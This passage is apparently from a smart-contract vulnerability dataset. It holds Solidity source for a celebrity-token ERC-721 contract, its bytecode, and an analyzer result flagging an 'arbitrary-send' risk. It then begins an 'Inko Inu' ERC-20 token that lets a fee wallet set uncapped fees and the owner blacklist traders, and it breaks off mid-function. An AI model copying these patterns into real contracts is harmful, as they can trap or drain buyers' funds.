promoCreatedCount++;
_createPerson(_name, personOwner, _price);
}
/// @dev Creates a new Person with the given name.
function createContractPerson(string _name) public onlyCOO {
_createPerson(_name, address(this), startingPrice);
}
/// @notice Returns all the relevant information about a specific person.
/// @param _tokenId The tokenId of the person of interest.
function getPerson(uint256 _tokenId) public view returns (
string personName,
uint256 sellingPrice,
address owner
) {
Person storage person = persons[_tokenId];
personName = person.name;
sellingPrice = personIndexToPrice[_tokenId];
owner = personIndexToOwner[_tokenId];
}
function implementsERC721() public pure returns (bool) {
return true;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = personIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
// Allows someone to send ether and obtain the token
function purchase(uint256 _tokenId) public payable {
address oldOwner = personIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = personIndexToPrice[_tokenId];
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 88), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
// Update prices
if (sellingPrice < firstStepLimit) {
// first stage
personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 88);
} else if (sellingPrice < secondStepLimit) {
// second stage
personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 118), 88);
} else {
// third stage
personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 118), 88);
}
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment); //(1-0.06)
}
TokenSold(_tokenId, sellingPrice, personIndexToPrice[_tokenId], oldOwner, newOwner, persons[_tokenId].name);
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return personIndexToPrice[_tokenId];
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// @notice Allow pre-approved user to take ownership of a token
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = personIndexToOwner[_tokenId];
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
/// @param _owner The owner whose celebrity tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Persons array looking for persons belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalPersons = totalSupply();
uint256 resultIndex = 0;
uint256 personId;
for (personId = 0; personId <= totalPersons; personId++) {
if (personIndexToOwner[personId] == _owner) {
result[resultIndex] = personId;
resultIndex++;
}
}
return result;
}
}
/// For querying totalSupply of token
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) {
return persons.length;
}
/// Owner initates the transfer of the token to another account
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transfer(
address _to,
uint256 _tokenId
) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
/// Third-party initiates transfer of token from address _from to address _to
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/*** PRIVATE FUNCTIONS ***/
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return personIndexToApproved[_tokenId] == _to;
}
/// For creating Person
function _createPerson(string _name, address _owner, uint256 _price) private {
Person memory _person = Person({
name: _name
});
uint256 newPersonId = persons.push(_person) - 1;
// It's probably never going to happen, 4 billion tokens are A LOT, but
// let's just be 100% sure we never let this happen.
require(newPersonId == uint256(uint32(newPersonId)));
Birth(newPersonId, _name, _owner);
personIndexToPrice[newPersonId] = _price;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newPersonId);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == personIndexToOwner[_tokenId];
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
/// @dev Assigns ownership of a specific Person to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of persons is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
//transfer ownership
personIndexToOwner[_tokenId] = _to;
// When creating new persons _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete personIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305e455461461015957806306fdde0314610182578063095ea7b3146102105780630a0f8168146102525780630b7e9c44146102a75780631051db34146102e057806318160ddd1461030d57806323b872dd14610336578063246982c41461039757806327d7874c1461046d5780632ba73c15146104a657806342287b66146104df5780634955f280146105645780636352211e146105c157806370a08231146106245780638462151c146106715780639433a81e146106ff57806395d89b4114610762578063a3f4df7e146107f0578063a9059cbb1461087e578063aa1d98af146108c0578063b047fb5014610923578063b2e6ceeb14610978578063b9186d7d1461099b578063efef39a1146109d2578063f76f8d78146109ea575b600080fd5b341561016457600080fd5b61016c610a78565b6040518082815260200191505060405180910390f35b341561018d57600080fd5b610195610a7e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d55780820151818401526020810190506101ba565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021b57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ac1565b005b341561025d57600080fd5b610265610b91565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102b257600080fd5b6102de600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bb7565b005b34156102eb57600080fd5b6102f3610c77565b604051808215151515815260200191505060405180910390f35b341561031857600080fd5b610320610c80565b6040518082815260200191505060405180910390f35b341561034157600080fd5b610395600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c8d565b005b34156103a257600080fd5b6103b86004808035906020019091905050610cdb565b60405180806020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825285818151815260200191508051906020019080838360005b83811015610430578082015181840152602081019050610415565b50505050905090810190601f16801561045d5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b341561047857600080fd5b6104a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610df7565b005b34156104b157600080fd5b6104dd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ed3565b005b34156104ea57600080fd5b610562600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050610faf565b005b341561056f57600080fd5b6105bf600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506110b0565b005b34156105cc57600080fd5b6105e2600480803590602001909190505061111c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561062f57600080fd5b61065b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611195565b6040518082815260200191505060405180910390f35b341561067c57600080fd5b6106a8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111de565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106eb5780820151818401526020810190506106d0565b505050509050019250505060405180910390f35b341561070a57600080fd5b6107206004808035906020019091905050611315565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561076d57600080fd5b610775611348565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107b557808201518184015260208101905061079a565b50505050905090810190601f1680156107e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107fb57600080fd5b61080361138b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610843578082015181840152602081019050610828565b50505050905090810190601f1680156108705780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561088957600080fd5b6108be600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113c4565b005b34156108cb57600080fd5b6108e160048080359060200190919050506113fc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561092e57600080fd5b61093661142f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561098357600080fd5b6109996004808035906020019091905050611455565b005b34156109a657600080fd5b6109bc60048080359060200190919050506114ca565b6040518082815260200191505060405180910390f35b6109e860048080359060200190919050506114e7565b005b34156109f557600080fd5b6109fd611893565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a3d578082015181840152602081019050610a22565b50505050905090810190601f168015610a6a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60095481565b610a86611eda565b6040805190810160405280600b81526020017f43727970746f537461727a000000000000000000000000000000000000000000815250905090565b610acb33826118cc565b1515610ad657600080fd5b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c605750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c6b57600080fd5b610c7481611938565b50565b60006001905090565b6000600a80549050905090565b610c9783826118cc565b1515610ca257600080fd5b610cac8282611a46565b1515610cb757600080fd5b610cc082611ab2565b1515610ccb57600080fd5b610cd6838383611aeb565b505050565b610ce3611eda565b6000806000600a85815481101515610cf757fe5b90600052602060002090019050806000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d9c5780601f10610d7157610100808354040283529160200191610d9c565b820191906000526020600020905b815481529060010190602001808311610d7f57829003601f168201915b50505050509350600660008681526020019081526020016000205492506003600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150509193909250565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e8f57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f2f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f6b57600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561100d57600080fd5b61138860095410151561101f57600080fd5b839050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561107d57600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b60008211151561108d5760005491505b6009600081548092919060010191905055506110aa838284611ced565b50505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561110c57600080fd5b6111198130600054611ced565b50565b60006003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561119057600080fd5b919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111e6611eee565b60006111f0611eee565b60008060006111fe87611195565b945060008514156112305760006040518059106112185750595b9080825280602002602001820160405250955061130b565b8460405180591061123e5750595b90808252806020026020018201604052509350611259610c80565b925060009150600090505b8281111515611307578673ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156112fa578084838151811015156112e357fe5b906020019060200201818152505081806001019250505b8080600101915050611264565b8395505b5050505050919050565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611350611eda565b6040805190810160405280600a81526020017f537461727a546f6b656e00000000000000000000000000000000000000000000815250905090565b6040805190810160405280600b81526020017f43727970746f537461727a00000000000000000000000000000000000000000081525081565b6113ce33826118cc565b15156113d957600080fd5b6113e282611ab2565b15156113ed57600080fd5b6113f8338383611aeb565b5050565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000803391506003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061149a82611ab2565b15156114a557600080fd5b6114af8284611a46565b15156114ba57600080fd5b6114c5818385611aeb565b505050565b600060066000838152602001908152602001600020549050919050565b60008060008060006003600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169450339350600660008781526020019081526020016000205492508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561157957600080fd5b61158284611ab2565b151561158d57600080fd5b82341015151561159c57600080fd5b6115b16115aa846058611e6b565b6064611ea6565b91506115bd3484611ec1565b90506001548310156115fa576115de6115d78460c8611e6b565b6058611ea6565b6006600088815260200190815260200160002081905550611663565b60025483101561163557611619611612846076611e6b565b6058611ea6565b6006600088815260200190815260200160002081905550611662565b61164a611643846076611e6b565b6058611ea6565b60066000888152602001908152602001600020819055505b5b61166e858588611aeb565b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415156116e4578473ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015156116e357600080fd5b5b7e8201e7bcbf010c2c07de59d6e97cb7e3cf67a46125c49cbc89b9d2cde1f48f8684600660008a8152602001908152602001600020548888600a8c81548110151561172b57fe5b9060005260206000209001600001604051808781526020018681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001806020018281038252838181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156118385780601f1061180d57610100808354040283529160200191611838565b820191906000526020600020905b81548152906001019060200180831161181b57829003601f168201915b505097505050505050505060405180910390a13373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561188b57600080fd5b505050505050565b6040805190810160405280600a81526020017f537461727a546f6b656e0000000000000000000000000000000000000000000081525081565b60006003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119eb57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156119e657600080fd5b611a43565b8073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611a4257600080fd5b5b50565b60008273ffffffffffffffffffffffffffffffffffffffff166005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515611c4957600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055506005600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1505050565b611cf5611f02565b60006020604051908101604052808681525091506001600a8054806001018281611d1f9190611f1c565b916000526020600020900160008590919091506000820151816000019080519060200190611d4e929190611f48565b5050500390508063ffffffff1681141515611d6857600080fd5b7fb3b0cf861f168bcdb275c69da97b2543631552ba562628aa3c7317d4a6089ef281868660405180848152602001806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019080838360005b83811015611e04578082015181840152602081019050611de9565b50505050905090810190601f168015611e315780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1826006600083815260200190815260200160002081905550611e6460008583611aeb565b5050505050565b6000806000841415611e805760009150611e9f565b8284029050828482811515611e9157fe5b04141515611e9b57fe5b8091505b5092915050565b6000808284811515611eb457fe5b0490508091505092915050565b6000828211151515611ecf57fe5b818303905092915050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b602060405190810160405280611f16611fc8565b81525090565b815481835581811511611f4357818360005260206000209182019101611f429190611fdc565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f8957805160ff1916838001178555611fb7565b82800160010185558215611fb7579182015b82811115611fb6578251825591602001919060010190611f9b565b5b509050611fc4919061200b565b5090565b602060405190810160405280600081525090565b61200891905b808211156120045760008082016000611ffb9190612030565b50600101611fe2565b5090565b90565b61202d91905b80821115612029576000816000905550600101612011565b5090565b90565b50805460018160011615610100020316600290046000825580601f106120565750612075565b601f016020900490600052602060002090810190612074919061200b565b5b505600a165627a7a72305820b3dde11dda7520ae1b2ca87b9d8f33e98ffb928cd71f7bc8d94749dfc1f5d6de0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,385 |
0xdbc25065040eb7e5c41a2836ee98e6a7ea451d36
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract InkoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0x91BC13B849015362701a626b2143D7EEf4051830);
address payable private _feeAddrWallet2 = payable(0xE3d56e94e235D9E4D9D8c6ABb706Cc245E0Fe7Ad);
string private constant _name = "Inko Inu";
string private constant _symbol = "INKO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
